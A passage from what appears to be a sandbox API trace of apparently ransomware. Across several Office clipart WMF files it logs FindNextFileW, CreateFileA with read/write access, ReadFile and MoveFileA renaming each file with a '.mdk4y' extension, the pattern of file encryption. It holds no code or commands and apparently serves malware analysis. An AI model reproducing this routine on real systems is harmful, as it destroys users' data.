lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN01545_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.088] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.088] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820431800000) returned 1 [0129.088] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ccc, lpOverlapped=0x0) returned 1 [0129.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820440100000) returned 1 [0129.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820440100000) returned 1 [0129.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.mdk4y")) returned 1 [0129.172] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.172] AreFileApisANSI () returned 1 [0129.172] GetACP () returned 0x4e4 [0129.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN02122_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN02122_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.172] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820440300000) returned 1 [0129.173] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d74, lpOverlapped=0x0) returned 1 [0129.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820440400000) returned 1 [0129.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820440400000) returned 1 [0129.175] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.mdk4y")) returned 1 [0129.175] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.175] AreFileApisANSI () returned 1 [0129.175] GetACP () returned 0x4e4 [0129.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN02559_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN02559_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.175] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820440500000) returned 1 [0129.175] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19e8, lpOverlapped=0x0) returned 1 [0129.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820442300000) returned 1 [0129.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820442300000) returned 1 [0129.193] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.mdk4y")) returned 1 [0129.194] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.194] AreFileApisANSI () returned 1 [0129.194] GetACP () returned 0x4e4 [0129.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN02724_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN02724_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.194] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.194] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820442400000) returned 1 [0129.194] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x83c, lpOverlapped=0x0) returned 1 [0129.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820445500000) returned 1 [0129.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820445500000) returned 1 [0129.225] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.mdk4y")) returned 1 [0129.226] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.226] AreFileApisANSI () returned 1 [0129.226] GetACP () returned 0x4e4 [0129.226] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN03500_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN03500_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.226] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820445600000) returned 1 [0129.226] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2418, lpOverlapped=0x0) returned 1 [0129.245] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820447500000) returned 1 [0129.245] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820447500000) returned 1 [0129.246] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.mdk4y")) returned 1 [0129.246] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.246] AreFileApisANSI () returned 1 [0129.246] GetACP () returned 0x4e4 [0129.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04108_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04108_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.246] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820447600000) returned 1 [0129.246] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x928, lpOverlapped=0x0) returned 1 [0129.290] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820452000000) returned 1 [0129.290] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820452000000) returned 1 [0129.291] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.mdk4y")) returned 1 [0129.291] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.291] AreFileApisANSI () returned 1 [0129.291] GetACP () returned 0x4e4 [0129.291] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04117_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04117_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.292] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820452200000) returned 1 [0129.292] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17ac, lpOverlapped=0x0) returned 1 [0129.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820455800000) returned 1 [0129.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820455800000) returned 1 [0129.329] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.mdk4y")) returned 1 [0129.329] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.329] AreFileApisANSI () returned 1 [0129.329] GetACP () returned 0x4e4 [0129.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04134_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04134_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.329] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820456000000) returned 1 [0129.330] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd58, lpOverlapped=0x0) returned 1 [0129.381] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820461100000) returned 1 [0129.381] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820461100000) returned 1 [0129.381] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.mdk4y")) returned 1 [0129.382] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.382] AreFileApisANSI () returned 1 [0129.382] GetACP () returned 0x4e4 [0129.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04174_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04174_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.382] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820461300000) returned 1 [0129.383] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa4c, lpOverlapped=0x0) returned 1 [0129.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820463000000) returned 1 [0129.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820463000000) returned 1 [0129.401] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.mdk4y")) returned 1 [0129.401] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.401] AreFileApisANSI () returned 1 [0129.402] GetACP () returned 0x4e4 [0129.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04191_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04191_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.402] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820463200000) returned 1 [0129.402] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19ec, lpOverlapped=0x0) returned 1 [0129.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820464100000) returned 1 [0129.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820464100000) returned 1 [0129.411] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.mdk4y")) returned 1 [0129.411] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.411] AreFileApisANSI () returned 1 [0129.411] GetACP () returned 0x4e4 [0129.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04195_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04195_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.412] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.412] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820464200000) returned 1 [0129.412] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1204, lpOverlapped=0x0) returned 1 [0129.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820465600000) returned 1 [0129.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820465600000) returned 1 [0129.426] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.mdk4y")) returned 1 [0129.427] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.427] AreFileApisANSI () returned 1 [0129.427] GetACP () returned 0x4e4 [0129.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04196_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04196_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.427] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820465700000) returned 1 [0129.427] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc48, lpOverlapped=0x0) returned 1 [0129.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820466400000) returned 1 [0129.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820466400000) returned 1 [0129.434] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.mdk4y")) returned 1 [0129.435] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.435] AreFileApisANSI () returned 1 [0129.435] GetACP () returned 0x4e4 [0129.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04206_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04206_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.435] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820466600000) returned 1 [0129.436] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1df4, lpOverlapped=0x0) returned 1 [0129.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820466700000) returned 1 [0129.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820466700000) returned 1 [0129.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.mdk4y")) returned 1 [0129.438] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.438] AreFileApisANSI () returned 1 [0129.438] GetACP () returned 0x4e4 [0129.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04225_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04225_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.438] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820466800000) returned 1 [0129.438] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x212c, lpOverlapped=0x0) returned 1 [0129.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820466900000) returned 1 [0129.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820466900000) returned 1 [0129.439] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.mdk4y")) returned 1 [0129.440] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.440] AreFileApisANSI () returned 1 [0129.440] GetACP () returned 0x4e4 [0129.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04235_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04235_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.440] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), 